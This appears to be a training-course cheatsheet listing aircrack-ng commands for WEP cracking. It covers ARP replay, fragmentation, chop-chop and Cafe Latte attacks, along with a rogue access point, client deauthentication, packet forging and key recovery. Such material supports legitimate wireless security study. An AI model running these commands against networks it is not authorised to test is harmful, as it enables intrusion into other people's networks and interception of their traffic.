Command Palette

Search for a command to run...

Cheatsheets
PreviousNext

Wired Equivalent Privacy (WEP) Attacks

ARP Request Replay Attack

CommandDescription
sudo airmon-ng start wlan0Enable monitor mode.
iwconfigConfigure wireless interfaces / confirm monitor mode is enabled.
sudo airodump-ng wlan0mon -c 1 -w WEPScan for available Wi-Fi networks and their associated clients, saving the traffic to a capture file.
sudo aireplay-ng -3 -b <AP_MAC> -h <Station_MAC> wlan0monLaunch ARP Request Replay attack.
sudo aircrack-ng -b <AP_MAC> WEP-01.capCrack the WEP key using the PTW statistical attack.

Fragmentation Attack

CommandDescription
sudo airmon-ng start wlan0Enable monitor mode.
sudo airodump-ng wlan0mon -c 1 -w WEPScan for available Wi-Fi networks and their associated clients, saving the traffic to a capture file.
sudo aireplay-ng -5 -b <AP_MAC> -h <station_MAC> wlan0monInitiate the fragmentation attack.
sudo tcpdump -s 0 -n -e -r replay_scr-0805-191842.capIdentify the source and destination IP addresses.
packetforge-ng -0 -a <AP_MAC> -h <Station_MAC> -k <AP_IP> -l <Station_IP> -y fragment-0805-191851.xor -w forgedarp.capForge an ARP request using the captured PRGA (.xor) bytes.
sudo aireplay-ng -2 -r forgedarp.cap -h <Source_MAC> wlan0monInject the forged packet using interactive packet replay.
sudo aireplay-ng -3 -b <AP_MAC> -h <Station_MAC> wlan0monLaunch ARP Request Replay attack to accelerate IV generation.
sudo aircrack-ng -b <AP_MAC> WEP-01.capCrack the WEP key using the PTW statistical attack.

Korek Chop Chop Attack

CommandDescription
sudo aireplay-ng -4 -b <AP_MAC> -h <Station_MAC> wlan0monStart the Korek Chop Chop attack.
sudo tcpdump -s 0 -n -e -r replay_dec-0805-221220.capIdentify the source and destination IP addresses.
packetforge-ng -0 -a <AP_MAC> -h <Station_MAC> -k <AP_IP> -l <Station_IP> -y fragment-0805-191851.xor -w forgedarp.capForge an ARP request using the captured PRGA (.xor) bytes.
sudo aireplay-ng -2 -r forgedarp.cap -h <Source_MAC> wlan0monInject the forged packet using interactive packet replay.
sudo aireplay-ng -3 -b <AP_MAC> -h <Station_MAC> wlan0monLaunch ARP Request Replay attack to accelerate IV generation.
sudo aircrack-ng -b <AP_MAC> WEP-01.capCrack the WEP key using the PTW statistical attack.

The Cafe Latte Attack

CommandDescription
sudo aireplay-ng -6 -D -b <AP_MAC> -h <Station_MAC> wlan0monStart the Cafe Latte attack.
sudo airbase-ng -c 1 -a <AP_BSSID> -e "<AP_ESSID>" wlan0mon -W 1 -LLaunch fake access point with identical ESSID/BSSID as the target AP.
sudo aireplay-ng -0 10 -a <AP_MAC> -c <Station_MAC> wlan0monDe-authenticate a connected station.
sudo aircrack-ng -b <AP_MAC> WEP-01.capCrack the WEP key using the PTW statistical attack.

Additional WEP Cracking

CommandDescription
aircrack-ng -SBenchmark CPU performance.
sudo airodump-ng wlan0mon -c 1 -w HTB --ivsCapture only initialization vectors.
aircrack-ng -K HTB.ivsCrack the WEP key using the Korek method.
airdecap-ng -w <hex_key> WEP-01.capDecrypt a WEP-encrypted capture file.